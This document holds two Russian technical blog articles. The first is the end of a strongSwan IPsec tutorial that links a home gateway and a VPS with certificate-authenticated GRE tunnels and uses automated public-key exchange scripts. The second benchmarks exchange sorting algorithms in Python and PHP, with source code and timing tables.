Set-VpnConnectionIPsecConfiguration -ConnectionName "IKEv2" -AuthenticationTransformConstants SHA256128 -CipherTransformConstants AES128 -EncryptionMethod AES128 -IntegrityCheckMethod SHA256 -PfsGroup PFS2048 -DHGroup Group14 -PassThru -Force
```
И еще одного, в случае если Strongswan настроен на выдачу клиентам IPv6 адреса (да, он это тоже умеет):
```
Add-VpnConnectionRoute -ConnectionName "IKEv2" -DestinationPrefix "2000::/3"
```
### Часть четвертая, финальная. Прорубаем окно в Европу
Насмотревшись провайдерских заглушек «Сайт заблокирован по решению левой пятки пятого зампрокурора деревни Трудовые Мозоли Богозабытского уезда» появилась и жила себе одна маленькая неприметная VPS (с благозвучным доменным именем rkn.example.com) в тысяче километров от обезьянок, любящих размахивать банхаммером и блокировать сети размером /16 за раз. И крутилось на этой маленькой VPS прекрасное творение коллег из NIC.CZ под названием BIRD. Птичка первой версии постоянно умирала в панике от активности обезьянок с дубинками, забанивших на пике своей трудовой деятельности почти 4% интернета, уходя в глубокую задумчивость при реконфиге, поэтому была обновлена до версии 2.0.7. Если читателям будет интересно — опубликую статью по переходу с BIRD на BIRD2, в котором кардинально изменился формат конфига, но работать новая вервия стала намного быстрее и нет проблем с реконфигом при большом количестве маршрутов. А раз у нас используется протокол динамической маршрутизации, то должен быть и сетевой интерфейс, через который нужно роутить трафик. По умолчанию IPSec интерфейсов не создает, но за счет его гибкости мы можем воспользоваться классическими GRE-туннелями, которые и будем защищать в дальнейшем. В качестве бонуса — хосты ipsecgw.example.com и rkn.example.com будут аутентифицировать друга друга, используя самообновляемые сертификаты Lets Encrypt. Никаких PSK, только сертификаты, только хардкор, безопасности много не бывает.
Считаем что VPS подготовлена, Strongswan и Certbot уже установлены.
На хосте ipsecgw.example.com (его IP — 1.1.1.1) описываем новый интерфейс gif0:
```
sudo vi /etc/sysconfig/network-scripts/ifcfg-gif0
DEVICE="gif0"
MY_OUTER_IPADDR="1.1.1.1"
PEER_OUTER_IPADDR="5.5.5.5"
MY_INNER_IPADDR="10.255.255.1/30"
PEER_INNER_IPADDR="10.255.255.2/30"
TYPE="GRE"
TTL="64"
MTU="1442"
ONBOOT="yes"
```
Зеркально на хосте vps.example.com (его IP — 5.5.5.5):
```
sudo vi /etc/sysconfig/network-scripts/ifcfg-gif0
DEVICE="gif0"
MY_OUTER_IPADDR="5.5.5.5"
PEER_OUTER_IPADDR="1.1.1.1"
MY_INNER_IPADDR="10.255.255.2/30"
PEER_INNER_IPADDR="10.255.255.1/30"
TYPE="GRE"
TTL="64"
MTU="1442"
ONBOOT="yes"
```
Поднимаем интерфейсы, но поскольку в iptables нет правила, разрешающего GRE-протокол, трафик ходить не будет (что нам и надо, поскольку внутри GRE нет никакой защиты от любителей всяких законодательных «пакетов»).
#### Готовим VPS
Первым делом получаем еще один сертификат на доменное имя rkn.example.com. Создаем симлинки в /etc/strongswan/ipsec.d как описано в предыдущем разделе.
Правим ipsec.secrets, внося в него единственную строку:
```
rkn.example.com : RSA key.pem
```
Правим ipsec.conf:
```
config setup
charondebug = "dmn 0, mgr 0, ike 0, chd 0, job 0, cfg 0, knl 0, net 0, asn 0, enc 0, lib 0, esp 0, tls 0, tnc 0, imc 0, imv 0, pts 0"
strictcrlpolicy = yes
conn %default
reauth = yes
rekey = yes
keyingtries = %forever
keyexchange = ikev2
dpdaction = restart
dpddelay = 5s
mobike = yes
conn rkn
left = %defaultroute
right = ipsecgw.example.com
authby = pubkey
leftcert = fullchain.pem
leftsendcert = always
leftauth = pubkey
rightauth = pubkey
leftid = "CN=rkn.example.com"
rightid = "CN=ipsecgw.example.com"
rightrsasigkey = /etc/strongswan/ipsec.d/certs/ipsecgw.example.com.pem
leftsubnet = %dynamic
rightsubnet = %dynamic
type = transport
ike = aes256gcm16-sha384-x25519!
esp = aes256gcm16-sha384-x25519!
auto = route
```
На стороне хоста ipsecgw.example.com тоже добавляем в ipsec.conf в секцию setup параметр strictcrlpolicy = yes, включающий строгую проверку CRL. И описываем еще одно соединение:
```
conn rkn
left = %defaultroute
right = rkn.example.com
leftcert = fullchain.pem
leftsendcert = always
leftauth = pubkey
rightauth = pubkey
rightrsasigkey = /etc/strongswan/ipsec.d/certs/rkn.exapmle.com.pem
leftid = "CN=ipsecgw.example.com"
rightid = "CN=rkn.example.com"
leftsubnet = %dynamic
rightsubnet = %dynamic
type = transport
ike = aes256gcm16-sha384-x25519!
esp = aes256gcm16-sha384-x25519!
auto = route
dpdaction = restart
```
Конфиги почти зеркальные. Внимательный читатель мог сам уже обратить внимание на пару моментов:
* left/rightsubnet = %dynamic — инструктирует Strongswan применять политики ко всем типам трафика между пирами
* В каждом из конфигов указан параметр rightrsasigkey. Без него попытка установки IKE SA всегда будет оканчиваться ошибкой IKE AUTH ERROR в логе, поскольку Strongswan не сможет подписать сообщение без знания открытой части RSA-ключа удаленного пира. Для получения открытых ключей мы можем воспользоваться openssl. На каждом из хостов (ipsecgw и RKN) выполняем sudo /usr/bin/openssl rsa -in /etc/letsencrypt/live/ipsecgw.example.com/privkey.pem -pubout > ~/ipsecgw.example.com.pem и sudo /usr/bin/openssl rsa -in /etc/letsencrypt/live/rkn.example.com/privkey.pem -pubout > ~/rkn.example.com.pem, после чего при помощи scp перекрестно копируем их между серверами в расположения, указаные в конфиге
Не забываем настроить файрвол и автообновление сертификатов. После перезапуска Strongswan на обоих серверах, запустим ping удаленной стороны GRE-туннеля и увидим успешную установку соединения. На VPS (rkn):
```
sudo strongswan status
Routed Connections:
rkn{1}: ROUTED, TRANSPORT, reqid 1
rkn{1}: 5.5.5.5/32 === 1.1.1.1/32
Security Associations (1 up, 0 connecting):
rkn[33]: ESTABLISHED 79 minutes ago, 5.5.5.5[CN=rkn.example.com]...1.1.1.1[CN=ipsecgw.example.com]
rkn{83}: INSTALLED, TRANSPORT, reqid 1, ESP SPIs: cb4bc3bb_i c4c35a5a_o
rkn{83}: 5.5.5.5/32 === 1.1.1.1/32
```
И на стороне хоста ipsecgw
**под спойлером**
```
Routed Connections:
rkn{1}: ROUTED, TRANSPORT, reqid 1
rkn{1}: 1.1.1.1/32 === 5.5.5.5/32
Security Associations (4 up, 0 connecting):
remote-access[10]: ESTABLISHED 5 seconds ago, 1.1.1.1[CN=ipsecgw.example.com]...4.4.4.4[phone]
remote-access{12}: INSTALLED, TUNNEL, reqid 7, ESP in UDP SPIs: c7a31be1_i a231904e_o
remote-access{12}: 0.0.0.0/0 === 10.1.1.1/32
keenetic[8]: ESTABLISHED 22 minutes ago, 1.1.1.1[keenetic@router.home.local]...3.3.3.3[root@router.keenetic.local]
keenetic{11}: INSTALLED, TUNNEL, reqid 6, ESP SPIs: cfc1b329_i c01e1b6e_o
keenetic{11}: 10.0.0.0/23 === 10.0.4.0/24
mama[4]: ESTABLISHED 83 minutes ago, 1.1.1.1[mama@router.home.local]...2.2.2.2[root@router.mama.local]
mama{8}: INSTALLED, TUNNEL, reqid 3, ESP in UDP SPIs: c4a5451a_i ca67c223_o
mama{8}: 10.0.0.0/23 10.1.1.0/24 === 10.0.3.0/24
rkn[3]: ESTABLISHED 83 minutes ago, 1.1.1.1[CN=ipsecgw.example.com]...5.5.5.5[CN=rkn.example.com]
rkn{7}: INSTALLED, TRANSPORT, reqid 1, ESP SPIs: c4c35a5a_i cb4bc3bb_o
rkn{7}: 1.1.1.1/32 === 5.5.5.5/32
```
Туннель установлен, пинги ходят, в tcpdump видно что между хостами ходит только ESP. Казалось бы можно радоваться. Но нельзя расслабляться не проверив всё до конца. Пробуем перевыпустить сертификат на VPS и…
#### Шеф, всё сломалось
Начинаем разбираться и натыкаемся на одну неприятную особенность прекрасного во всём остальном Let's Encrypt — при любом перевыпуске сертификата меняется так же ассоциированный с ним закрытый ключ. Изменился закрытый ключ — изменился и открытый. На первый взгляд ситуация для нас безвыходная: если даже открытый ключ мы можем легко извлечь во время перевыпуска сертификата при помощи хука в certbot и передать его удаленной стороне через SSH, то непонятно как заставить удаленный Strongswan перечитать его. Но помощь пришла откуда не ждали — systemd умеет следить за изменениями файловой системы и запускать ассоциированные с событием службы. Этим мы и воспользуемся.
Создадим на каждом из хостов служебного пользователя keywatcher с максимально урезанными правами, сгенерируем каждому из них SSH-ключи и обменяемся ими между хостами.
На хосте ipsecgw.example.com создадим каталог /opt/ipsec-pubkey в котором разместим 2 скрипта.
```
sudo vi /opt/ipsec-pubkey/pubkey-copy.sh
```
```
#!/bin/sh
if [ ! -f /home/keywatcher/ipsecgw.example.com.pem ]; then
/usr/bin/openssl rsa -in /etc/letsencrypt/live/ipsecgw.example.com/privkey.pem -pubout > /home/keywatcher/ipsecgw.example.com.pem;
/usr/bin/chown keywatcher:keywatcher /home/keywatcher/ipsecgw.example.com.pem;
/usr/bin/chmod 0600 /home/keywatcher/ipsecgw.example.com.pem;
sudo -u keywatcher /usr/bin/scp /home/keywatcher/ipsecgw.example.com.pem rkn.example.com:/home/keywatcher/ipsecgw.example.com.pem;
status=$?;
if [ $status -eq 0 ]; then
rm -f /home/keywatcher/ipsecgw.example.com.pem;
logger "Public key ipsecgw.example.com.pem has been successfully uploaded to remote host";
else
logger "Public key ipsecgw.example.com.pem has not been uploaded to remote host due to error";
fi
else
logger "Public key ipsecgw.example.com.pem already exist on /home/keywatcher directory, something went wrong";
fi
exit 0
```
```
sudo vi /opt/ipsec-pubkey/key-updater.sh
```
```
#!/bin/sh
/usr/bin/cp /home/keywatcher/rkn.example.com.pem /etc/strongswan/ipsec.d/certs/rkn.example.com.pem
/usr/bin/chown root:root /etc/strongswan/ipsec.d/certs/rkn.example.com.pem
/usr/bin/chmod 0600 /etc/strongswan/ipsec.d/certs/rkn.example.com.pem
logger "Public key of server rkn.example.com has been updated, restarting strongswan daemon to re-read it"
/usr/bin/systemctl restart strongswan
exit 0
```
На VPS (хосте rkn.example.com) аналогично создаем каталог с тем же именем, в котором тоже создаем аналогичные скрипты, изменяя только название ключа. Код, чтобы не загромождать статью, под
**спойлером**
sudo vi /opt/ipsec-pubkey/pubkey-copy.sh
```
#!/bin/sh
if [ ! -f /home/keywatcher/rkn.example.com.pem ]; then
/usr/bin/openssl rsa -in /etc/letsencrypt/live/rkn.example.com/privkey.pem -pubout > /home/keywatcher/rkn.example.com.pem;
/usr/bin/chown keywatcher:keywatcher /home/keywatcher/rkn.example.com.pem;
/usr/bin/chmod 0600 /home/keywatcher/rkn.example.com.pem;
sudo -u keywatcher /usr/bin/scp /home/keywatcher/rkn.example.com.pem ipsecgw.example.com:/home/keywatcher/rkn.example.com.pem;
status=$?;
if [ $status -eq 0 ]; then
rm -f /home/keywatcher/rkn.example.com.pem;
logger "Public key rkn.example.com.pem has been successfully uploaded to remote host";
else
logger "Public key rkn.example.com.pem has not been uploaded to remote host";
fi
else
logger "Public key rkn.example.com.pem already exist on /home/keywatcher directory, something went wrong";
fi
exit 0
```
```
sudo vi /opt/ipsec-pubkey/key-updater.sh
```
```
#!/bin/bash
/usr/bin/cp /home/keywatcher/ipsecgw.example.com.pem /etc/strongswan/ipsec.d/certs/ipsecgw.example.com.pem;
/usr/bin/chown root:root /etc/strongswan/ipsec.d/certs/ipsecgw.example.com.pem
/usr/bin/chmod 0600 /etc/strongswan/ipsec.d/certs/ipsecgw.example.com.pem
logger "Public key of server ipsecgw.example.com has been updated, restarting connection"
/usr/bin/systemctl restart strongswan
exit 0
```
Скрипт pubkey-copy.sh нужен для извлечения открытой части ключа и копирования его удаленному хосту во время выпуска нового сертификата. Для этого в каталоге /etc/letsencrypt/renewal-hooks/deploy на обоих серверах создаем еще один микроскрипт:
```
#!/bin/sh
/opt/ipsec-pubkey/pubkey-copy.sh > /dev/null 2>&1
/usr/bin/systemctl restart strongswan
exit 0
```
Половина проблемы решена, сертификаты перевыпускаются, публичные ключи извлекаются и копируются между серверами и пришло время systemd с его path-юнитами.
На сервере ipsecgw.example.com в каталоге /etc/systemd/system создаем файл keyupdater.path
```
[Unit]
Wants=strongswan.service
[Path]
PathChanged=/home/keywatcher/rkn.example.com.pem
[Install]
WantedBy=multi-user.target
```
Аналогично на VPS хосте:
```
[Unit]
Wants=strongswan.service
[Path]
PathChanged=/home/keywatcher/ipsecgw.example.com.pem
[Install]
WantedBy=multi-user.target
```
И, напоследок, на каждом сервере создаем ассоциированную с данным юнитом службу, которая будет запускаться при выполнении условия (PathChanged) — изменении файла и его закрытии его после записи. Создаем файлы /etc/systemd/system/keyupdater.service и прописываем:
```
[Unit]
Description= Starts the IPSec key updating script
Documentation= man:systemd.service
[Service]
Type=oneshot
ExecStart=/opt/ipsec-pubkey/key-updater.sh
[Install]
WantedBy=multi-user.target
```
Не забываем перечитать конфигурации systemd при помощи sudo systemctl daemon-reload и назначить path-юнитам автозапуск через sudo systemctl enable keyupdater.path && sudo systemctl start keyupdater.path.
Как только удаленный хост запишет файл, содержащий публичный ключ, в домашний каталог пользователя keywatcher и файловый дескриптор будет закрыт, systemd автоматически запустит соответствующую службу, которая скопирует ключ в нужное расположение и перезапустит Strongswan. Туннель будет установлен, используя правильный открытый ключ второй стороны.
Можно выдохнуть и наслаждаться результатом.
Вместо заключения
-----------------
Как мы только что увидели ~~чёрт~~ IPSec не так страшен, как его малюют. Всё, что было описано — полностью рабочая конфигурация, которая используется в настоящее время. Даже без особых знаний можно настроить VPN и надежно защитить свои данные.
Конечно за рамками статьи остались моменты настройки iptables, но и сама статья уже получилась и без того объемная и про iptables написано много.
Есть в статье и моменты, которые можно улучшить, будь-то отказ от перезапусков демона Strongswan, перечитывая его конфиги и сертификаты, но у меня не получилось этого добиться.
Впрочем и рестарты демона оказались не страшны: происходит потеря одного-двух пингов между пирами, мобильные клиенты тоже сами восстанавливают соединение.
Надеюсь коллеги в комментариях подскажут правильное решение. | https://habr.com/ru/post/504484/ | null | ru | null |
# Сравнение сортировок обменами
[](https://habr.com/post/415691/)
[Сферические алгоритмы в вакууме](https://habr.com/post/414653/) — это прекрасно. Однако давайте спустимся с небес на грешную землю и посмотрим как вся эта теоретическая красота покажет себя на практике.
Разбор очередного класса сортировок будет завершаться тестами для сортировок класса. Сегодня мы прогоним (не в смысле вышвырнем вон, а в смысле обкатаем на тестах) сортировки обменами. Сортировки других классов будем прогонять потом.
В сегодняшнем забеге участвуют:
### Слабейшая группа
Эти алгоритмы ни на что не претендуют ввиду удручающей временной сложности. Тестируем их чисто «для справки».
 Придурковатая сортировка
 Вялая сортировка
 Тупая сортиртировка
Скорее даже интересно не насколько они хороши, а насколько плохи в деле, и кто из них хуже всех.
### Основная группа
Тут собрались обменные сортировочки а-ля O(**n2**). Гномья сортировка (и её оптимизация) + всевозможные вариации пузырьковой сортировки.
 Гномья сортировка
 Гномья сортировка (оптимизированная)
 Пузырьковая сортировка
 Коктейльная сортировка
 Чётно-нечётная сортировка
Это самая интересная часть сегодняшних замеров. Именно среди представителей основной группы ожидается наиболее упорная борьба.
### Сильнейшая группа
Одной из разновидностей пузырька — сортировке расчёской — удалось преодолеть барьер O(**n2**) и выйти по времени на заслуживающие уважение O(**n log n**). Так что в нашем соревновании у быстрой сортировки есть достойный соперник. Кроме того, испытаем [недавно изобретённую k-sort](https://habr.com/post/333710/), являющуюся разновидностью quick sort.
 Сортировка расчёской
 Быстрая сортировка
 K-сортировка
Сильнейших, кстати, сравним не только друг с другом. Им на некоторых наборах данных основная группа составит серьёзную конкуренцию.
### Исходный код
**Сортировки обменами на Python**
```
def stooge_rec(data, i = 0, j = None):
if j is None:
j = len(data) - 1
if data[j] < data[i]:
data[i], data[j] = data[j], data[i]
if j - i > 1:
t = (j - i + 1) // 3
stooge_rec(data, i, j - t)
stooge_rec(data, i + t, j)
stooge_rec(data, i, j - t)
return data
def stooge(data):
return stooge_rec(data, 0, len(data) - 1)
def slow_rec(data, i, j):
if i >= j:
return data
m = (i + j) // 2
slow_rec(data, i, m)
slow_rec(data, m + 1, j)
if data[m] > data[j]:
data[m], data[j] = data[j], data[m]
slow_rec(data, i, j - 1)
return data
def slow(data):
return slow_rec(data, 0, len(data) - 1)
def stupid(data):
i, size = 1, len(data)
while i < size:
if data[i - 1] > data[i]:
data[i - 1], data[i] = data[i], data[i - 1]
i = 1
else:
i += 1
return data
def gnome(data):
i, size = 1, len(data)
while i < size:
if data[i - 1] <= data[i]:
i += 1
else:
data[i - 1], data[i] = data[i], data[i - 1]
if i > 1:
i -= 1
return data
def gnome_opt(data):
i, j, size = 1, 2, len(data)
while i < size:
if data[i - 1] <= data[i]:
i, j = j, j + 1
else:
data[i - 1], data[i] = data[i], data[i - 1]
i -= 1
if i == 0:
i, j = j, j + 1
return data
def bubble(data):
changed = True
while changed:
changed = False
for i in range(len(data) - 1):
if data[i] > data[i+1]:
data[i], data[i+1] = data[i+1], data[i]
changed = True
return data
def shaker(data):
up = range(len(data) - 1)
while True:
for indices in (up, reversed(up)):
swapped = False
for i in indices:
if data[i] > data[i+1]:
data[i], data[i+1] = data[i+1], data[i]
swapped = True
if not swapped:
return data
def odd_even(data):
n = len(data)
isSorted = 0
while isSorted == 0:
isSorted = 1
for i in range(1, n - 1, 2):
if data[i] > data[i + 1]:
data[i], data[i + 1] = data[i + 1], data[i]
isSorted = 0
for i in range(0, n - 1, 2):
if data[i] > data[i + 1]:
data[i], data[i + 1] = data[i + 1], data[i]
isSorted = 0
return data
def comb(data):
gap = len(data)
swaps = True
while gap > 1 or swaps:
gap = max(1, int(gap / 1.25)) # minimum gap is 1
swaps = False
for i in range(len(data) - gap):
j = i + gap
if data[i] > data[j]:
data[i], data[j] = data[j], data[i]
swaps = True
return data
def quick(data):
less = []
pivotList = []
more = []
if len(data) <= 1:
return data
else:
pivot = data[0]
for i in data:
if i < pivot:
less.append(i)
elif i > pivot:
more.append(i)
else:
pivotList.append(i)
less = quick(less)
more = quick(more)
return less + pivotList + more
def k(data):
return k_rec(data, 0, len(data) - 1)
def k_rec(data, left, right):
key = data[left]
i = left
j = right + 1
k = left + 1
p = left + 1
temp = False
while j - i >= 2:
if key <= data[p]:
if p != j and j != right + 1:
data[j] = data[p]
elif j == right + 1:
temp = data[p]
j -= 1
p = j
else:
data[i] = data[p]
i += 1
k += 1
p = k
data[i] = key
if temp:
data[i + 1] = temp
if left < i - 1:
k_rec(data, left, i - 1)
if right > i + 1:
k_rec(data, i + 1, right)
return data
```
**Сортировки обменами на PHP**
```
//Придурковатая
function StoogeSort(&$arr, $i, $j) {
if($arr[$j] < $arr[$i]) list($arr[$j], $arr[$i]) = array($arr[$i], $arr[$j]);
if(($j - $i) > 1) {
$t = ($j - $i + 1) / 3;
StoogeSort($arr, $i, $j - $t);
StoogeSort($arr, $i + $t, $j);
StoogeSort($arr, $i, $j - $t);
}
return $arr;
}
//Вялая
function SlowSort(&$arr, $i, $j) {
if($i >= $j) return $arr;
$m = ($i + $j) / 2;
SlowSort($arr, $i, $m);
SlowSort($arr, $m + 1, $j);
if($arr[$m] > $arr[$j]) list($arr[$m], $arr[$j]) = array($arr[$j], $arr[$m]);
SlowSort($arr, $i, $j - 1);
return $arr;
}
//Туповатая
function StupidSort($arr) {
$i = 1; $size = count($arr);
while($i < $size) {
if($arr[$i - 1] <= $arr[$i]){
++$i;
} else {
list($arr[$i - 1], $arr[$i]) = array($arr[$i], $arr[$i - 1]);
$i = 1;
}
}
return $arr;
}
//Гном
function GnomeSort($arr) {
$i = 1; $size = count($arr);
while($i < $size) {
if($arr[$i - 1] <= $arr[$i]){
++$i;
} else {
list($arr[$i - 1], $arr[$i]) = array($arr[$i], $arr[$i - 1]);
if($i > 1) --$i;
}
}
return $arr;
}
//Гном (оптимизированный)
function GnomeSort_opt($arr) {
$i = 1; $j = 2; $size = count($arr);
while($i < $size) {
if($arr[$i - 1] <= $arr[$i]){
$i = $j;
++$j;
} else {
list($arr[$i - 1], $arr[$i]) = array($arr[$i], $arr[$i - 1]);
if(--$i == 0){
$i = $j;
$j++;
}
}
}
return $arr;
}
//Пузырьки
function BubbleSort($arr) {
$c = count($arr) - 1;
do {
$swapped = false;
for ($i = 0; $i < $c; ++$i) {
if ($arr[$i] > $arr[$i + 1]) {
list($arr[$i + 1], $arr[$i]) = array($arr[$i], $arr[$i + 1]);
$swapped = true;
}
}
} while($swapped);
return $arr;
}
//Шейкер
function ShakerSort($arr){
do{
$swapped = false;
for($i = 0; $i < count($arr); $i++){
if(isset($arr[$i + 1])) {
if($arr[$i] > $arr[$i+1]) {
list($arr[$i], $arr[$i + 1]) = array($arr[$i + 1], $arr[$i]);
$swapped = true;
}
}
}
if ($swapped == false) break;
$swapped = false;
for($i = count($arr) - 1; $i >= 0; $i--){
if(isset($arr[$i - 1])){
if($arr[$i] < $arr[$i - 1]) {
list($arr[$i], $arr[$i - 1]) = array($arr[$i - 1], $arr[$i]);
$swapped = true;
}
}
}
} while($swapped);
return $arr;
}
//Чёт-нечет
function OddEvenSort($arr){
$n = count($arr);
$sorted = false;
while(!$sorted) {
$sorted = true;
for($i = 1; $i < $n - 2; $i += 2) {
if($arr[$i] > $arr[$i + 1]) {
list($arr[$i], $arr[$i + 1]) = array($arr[$i + 1], $arr[$i]);
$sorted = false;
}
}
for($i = 0; $i < $n - 1; $i += 2) {
if($arr[$i] > $arr[$i + 1]) {
list($arr[$i], $arr[$i + 1]) = array($arr[$i + 1], $arr[$i]);
$sorted = false;
}
}
}
}
//Расчёска
function CombSort($arr){
$gap = count($arr);
$swap = true;
while($gap > 1 || $swap){
if($gap > 1) $gap /= 1.25;
$swap = false;
$i = 0;
while($i + $gap < count($arr)){
if($arr[$i] > $arr[$i + $gap]){
list($arr[$i], $arr[$i + $gap]) = array($arr[$i + $gap], $arr[$i]);
$swap = true;
}
++$i;
}
}
return $arr;
}
//Быстрая
function QuickSort($arr) {
$loe = $gt = array();
if(count($arr) < 2) {
return $arr;
}
$pivot_key = key($arr);
$pivot = array_shift($arr);
foreach($arr as $val){
if($val <= $pivot){
$loe[] = $val;
}elseif ($val > $pivot){
$gt[] = $val;
}
}
return array_merge(QuickSort($loe), array($pivot_key => $pivot), QuickSort($gt));
}
//k-сортировка
function K_Sort($arr) {
K_Sort_rec($arr, 0, count($arr) - 1);
return $arr;
}
function K_Sort_rec(&$arr, $left, $right) {
$key = $arr[$left];
$i = $left;
$j = $right + 1;
$k = $p = $left + 1;
$temp = false;
while($j - $i >= 2) {
if($key <= $arr[$p]) {
if(($p != $j) && ($j != ($right + 1))) {
$arr[$j] = $arr[$p];
} elseif($j == ($right + 1)) {
$temp = $arr[$p];
}
--$j;
$p = $j;
} else {
$arr[$i] = $arr[$p];
++$i;
++$k;
$p = $k;
}
}
$arr[$i] = $key;
if($temp) $arr[$i + 1] = $temp;
if($left < ($i - 1)) K_Sort_rec($arr, $left, $i - 1);
if($right > ($i + 1)) K_Sort_rec($arr, $i + 1, $right);
}
```
Время
-----
Время везде измеряется в секундах с точностью до микросекунд.
Если алгоритму скармливается сразу пачка массивов (из десяти, ста или даже миллиона штук), то указано общее время.
Железо — мой верный старенький ноутбук, знававший лучшие времена. Так что, вполне возможно, у Вас всё будет работать гораздо быстрее.
Худшие из худших
----------------
Сразу разберёмся с аутсайдерами. Для них приготовлены массивы на 40 / 50 / 60 элементов, содержащие случайные числа от 0 до 9.
| | type=random, unique=False, min=0, max=9, count=1 |
| --- | --- |
| size |
| 40 | 50 | 60 |
| Python | PHP | Python | PHP | Python | PHP |
| | 0.004 | 0.001 | 0.005 | 0.003 | 0.007 | 0.004 |
| | 0.007 | 0.009 | 0.018 | 0.009 | 0.018 | 0.023 |
| | 0.02 | 8.26647 | 0.053 | 20.8722 | 0.12901 | 45.9786 |
Туповатая сортировка на порядок быстрее чем придурковатая, а придурковатая на порядок быстрее чем вялая. Больше тут нечего смотреть.
Середнячки
----------
Чтобы проверить середнячков, сгенерированы пачки из ста массивов по 100 элементов каждом (уникальные числа от 100 до 999), а также пачки из десяти массивов по 1000 элементов в каждом (уникальные числа от 1000 до 9999).
Подготовлены рандомные массивы, почти отсортированные массивы и реверсно упорядоченные массивы.
### Середнячки: Рандом
| | type=random, unique=True |
| --- | --- |
| size(от min до max) × count |
| 100(от 100 до 999) × 100 | 1000(от 1000 до 9999) × 10 |
| Python | PHP | Python | PHP |
| | 0.14101 | 0.18901 | 1.59109 | 1.7251 |
| | 0.20601 | 0.22301 | 2.33013 | 2.09712 |
| | 0.15301 | 0.22901 | 1.6711 | 2.23613 |
| | 0.21601 | 0.26402 | 2.55515 | 2.73116 |
| | 0.16701 | 0.33402 | 1.7251 | 3.13218 |
Примерно одинаковые результаты у всех. Реализации на Питоне работают чуть быстрее чем на PHP.
### Середнячки: Почти отсортировано
| | type=almost, unique=True |
| --- | --- |
| size(от min до max) × count |
| 100(от 100 до 999) × 100 | 1000(от 1000 до 9999) × 10 |
| Python | PHP | Python | PHP |
| | 0.009 | 0.005 | 0.009 | 0.005 |
| | 0.009 | 0.014 | 0.01 | 0.014 |
| | 0.01 | 0.01 | 0.011 | 0.008 |
| | 0.011 | 0.008 | 0.013 | 0.008 |
| | 0.011 | 0.017 | 0.013 | 0.017 |
Тоже одинаковые результаты у всех, плюс-минус. Из интересного: частичная упорядоченность данных в десятки раз улучшает показатели всех алгоритмов.
### Середнячки: Реверс
| | type=reverse, unique=True |
| --- | --- |
| size(от min до max) × count |
| 100(от 100 до 999) × 100 | 1000(от 1000 до 9999) × 10 |
| Python | PHP | Python | PHP |
| | 0.26801 | 0.35902 | 3.10018 | 3.4292 |
| | 0.39602 | 0.45303 | 4.49726 | 4.19524 |
| | 0.22701 | 0.38402 | 2.48114 | 3.64421 |
| | 0.30202 | 0.42603 | 3.34419 | 4.17524 |
| | 0.30402 | 0.64404 | 3.36519 | 6.22036 |
Тут интересный вывод — обратная упорядоченность не так уж сильно влияет на скорость, которая упала всего в 2 раза по сравнению с рандомом.
### Середнячки: Бинарник
| | type=random, unique=False, min=0, max=1 |
| --- | --- |
| size × count |
| 100 × 100 | 1000 × 10 |
| Python | PHP | Python | PHP |
| | 0.073 | 0.094 | 0.81105 | 0.86905 |
| | 0.10401 | 0.11301 | 1.16307 | 1.06606 |
| | 0.08801 | 0.12901 | 0.86405 | 1.18207 |
| | 0.11501 | 0.15001 | 1.30107 | 1.41608 |
| | 0.11401 | 0.25801 | 1.31908 | 2.46314 |
Из более-менее интересного: если вместо чисел от 100 до 9999 сортировать нули и единицы, то показатели скорости вырастут не сильно.
Чемпионы
--------
Тут основная интрига в том, смогут ли сортировка расчёской и k-сортировка потеснить быструю с пьедестала?
### Чемпионы: Рандом
Чтобы это выяснить, сформируем пакеты рандомных массивов: 10 штук по 10 тысяч элементов и 10 штук по 100 тысяч элементов. Хотел алгоритмам на вход дать и миллионники, но ноутбук не потянул. То оперативной памяти не хватает, то глубина рекурсии слишком велика.
| | type=random, unique=False, count=10 |
| --- | --- |
| size(от min до max) |
| 10000(от 10000 до 99999) | 100000(от 100000 до 999999) |
| Python | PHP | Python | PHP |
| | 0.80205 | 0.63104 | 10.4506 | 8.24647 |
| | 0.47703 | 1.64009 | 6.65138 | 26.5435 |
| | 0.90005 | 2.18613 | 15.8089 | 29.4867 |
K-сортировка на Питоне работает медленнее, а на PHP быстрее чем quick sort.
Сортировка расчёской по сравнению с быстрой выглядит солидно, хотя и уступает ей на всех тестах (и на этих и последующих) при любых наборах данных.
Однако есть у расчёски и важное неоспоримое преимущество. У неё нет рекурсии и поэтому в отличие от своих коллег она успешно обработывает массивы, состоящие из миллионов элементов.
Особые случаи
-------------
Хотя чемпионы скоростнее середнячков в сотни раз, на некоторых специфических наборах данных сортировки попроще показывают, что и они не лыком шиты.
### Особые случаи: Почти отсортировано
Попробуем почти отсортированные массивы, только возьмём большего размера, чем те, что тестировали для середнячков.
Пакет из 10 массивов по 10 тысяч и пакет из 10 массивов по 100 тысяч элементов.
| | type=almost, unique=False |
| --- | --- |
| size(от min до max) × count |
| 10000(от 10000 до 99999) × 10 | 100000(от 100000 до 999999) × 10 |
| Python | PHP | Python | PHP |
| | 0.43202 | 0.058 | 0.81705 | 0.58003 |
| | 0.084 | 0.062 | 0.85805 | 0.54003 |
| | 0.11601 | 0.12401 | 1.41908 | 1.36008 |
| | 0.14001 | 0.11901 | 1.83411 | 1.41708 |
| | 0.13801 | 0.23101 | 1.6491 | 2.56915 |
| | ? | 122.088 | ? | ? |
| | 0.71504 | 1.58909 | 9.78356 | 19.4731 |
Быстрая сортировка тут вообще не присутствует — не хватило оперативной памяти. При этом рандомные массивы на 10/100 тысяч элементов quicksort обрабатывает на ура. k-sort столкнулась с аналогичными проблемами, потянула только 10-титысячники на PHP. Большие почти отсортированные массивы — это вырожденный случай для быстрой сортировки и её модификаций. Из-за такого расположения элементов рекурсия делит массив на части практически для каждый пары рядом стоящих элементов, что приводит к максимально возможному количеству вызовов рекурсии.
Кстати, аналогичная ситуация и с крупными реверсно упорядоченными массивам. Возникает та же проблема что и с почти упорядоченными — алгортитму приходится для каждой пары рядом стоящих элементов вызывать самого себя.
Сортировка расчёской хоть и работает в полтора-два раза медленнее чем quick или k (в общем случае), но при этом не имеет вышеозначенных переполнений памяти. Нет рекурсии — нет проблемы.
Ну и отметим, что все середнячки дружно обогнали чемпионов на крупных почти отсортированных массивах. Тут сработал принцип: «Тише едешь — дальше будешь».
### Особые случаи: Миллион алых роз малых массивов
Малые массивы — стихия середнячков. Если нужно обрабатывать огромное количество небольших наборов чисел, то можно получить выигрыш по времени взяв «примитивную» пузырьковую или гномью сортировку. А быструю сортировку и иже с ней использовать для более масштабных задач.
| | type=random, unique=True |
| --- | --- |
| size(от min до max) × count |
| 5(от 10 до 99) × 1000000 | 10(от 10 до 99) × 1000000 |
| Python | PHP | Python | PHP |
| | 11.77267 | 17.888 | 24.29039 | 33.6659 |
